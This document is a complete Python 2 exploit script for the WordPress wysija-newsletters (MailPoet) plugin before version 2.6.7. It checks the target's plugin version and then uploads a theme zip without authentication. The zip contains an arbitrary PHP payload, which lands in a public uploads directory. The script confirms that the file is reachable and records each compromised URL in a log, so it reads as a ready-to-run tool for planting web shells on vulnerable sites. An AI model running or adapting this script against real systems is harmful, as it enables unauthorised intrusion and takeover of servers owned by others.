|
#!/usr/bin/env python |
|
# -*- coding: utf-8 -*- |
|
|
|
from random import choice |
|
import string |
|
import sys |
|
import re |
|
from zipfile import ZipFile |
|
from StringIO import StringIO |
|
import requests |
|
from colors import red, green, blue # pip install ansicolors |
|
|
|
|
|
def version_compare(v1, v2): |
|
def normalize(v): |
|
return [int(x) for x in re.sub(r'(\.0+)*$', '', v).split(".")] |
|
return cmp(normalize(v1), normalize(v2)) |
|
|
|
|
|
def create_zip_file(theme_name, payload_name, payload): |
|
files = { |
|
"%s/%s" % (theme_name, 'style.css'): '', |
|
"%s/%s" % (theme_name, payload_name): payload |
|
} |
|
zip_file = StringIO() |
|
with ZipFile(zip_file, 'w') as zip: |
|
for path in files: |
|
zip.writestr(path, files[path]) |
|
zip_file.seek(0) |
|
return zip_file |
|
|
|
|
|
def check(url): |
|
readme_url = "%s/wp-content/plugins/wysija-newsletters/readme.txt" % url |
|
res = requests.get(readme_url, timeout=15, verify=False) |
|
if res.status_code == 200: |
|
match = re.search("stable tag: (.*)[\r\n]", res.text, re.I) |
|
version = match.group(1) |
|
fun = green if version_compare(version, "2.6.7") < 0 else blue |
|
print fun("[?] found version: %s" % version) |
|
return version_compare(version, "2.6.7") < 0 |
|
else: |
|
raise Exception("error getting version") |
|
|
|
|
|
def exploit(url, payload_data): |
|
theme_name = '.tmp' # better to keep the chaos to one directory. |
|
payload_name = ''.join([choice(string.letters) for i in range(5)]) + ".php" |
|
zip_file = create_zip_file(theme_name, payload_name, payload_data) |
|
|
|
files = {'my-theme': ('%s.zip' % theme_name, zip_file, "application/x-zip-compressed")} |
|
data = { |
|
"action": "themeupload", |
|
"submitter": "Upload", |
|
"overwriteexistingtheme": "on" |
|
} |
|
|
|
target_url = "%s/wp-admin/admin-post.php?page=wysija_campaigns&action=themes" % url |
|
payload_url = "%s/%s/%s/%s" % (url, 'wp-content/uploads/wysija/themes', theme_name, payload_name) |
|
|
|
print blue("[?] attempting to upload zip (%s)..." % target_url) |
|
# Don't rely on checking response, have observed some strange behaviour even with successful upload |
|
requests.post(target_url, files=files, data=data, verify=False, timeout=15) |
|
|
|
print blue("[?] checking upload (%s)..." % payload_url) |
|
response = requests.head(payload_url, verify=False, timeout=15) |
|
if response.status_code == 200: |
|
print green("[+] found: %s" % payload_url) |
|
return payload_url |
|
else: |
|
raise Exception("upload failed.") |
|
|
|
|
|
if __name__ == "__main__": |
|
|
|
if len(sys.argv) > 2: |
|
payload = open(sys.argv[1]).read() |
|
wp_url = sys.argv[2] |
|
try: |
|
if check(wp_url): |
|
res = exploit(wp_url, payload) |
|
if res: |
|
with open("found-sija.log", "a") as log: |
|
log.write("%s\n" % res) |
|
except Exception as e: |
|
print red("[!] %s - %s" % (wp_url, e)) |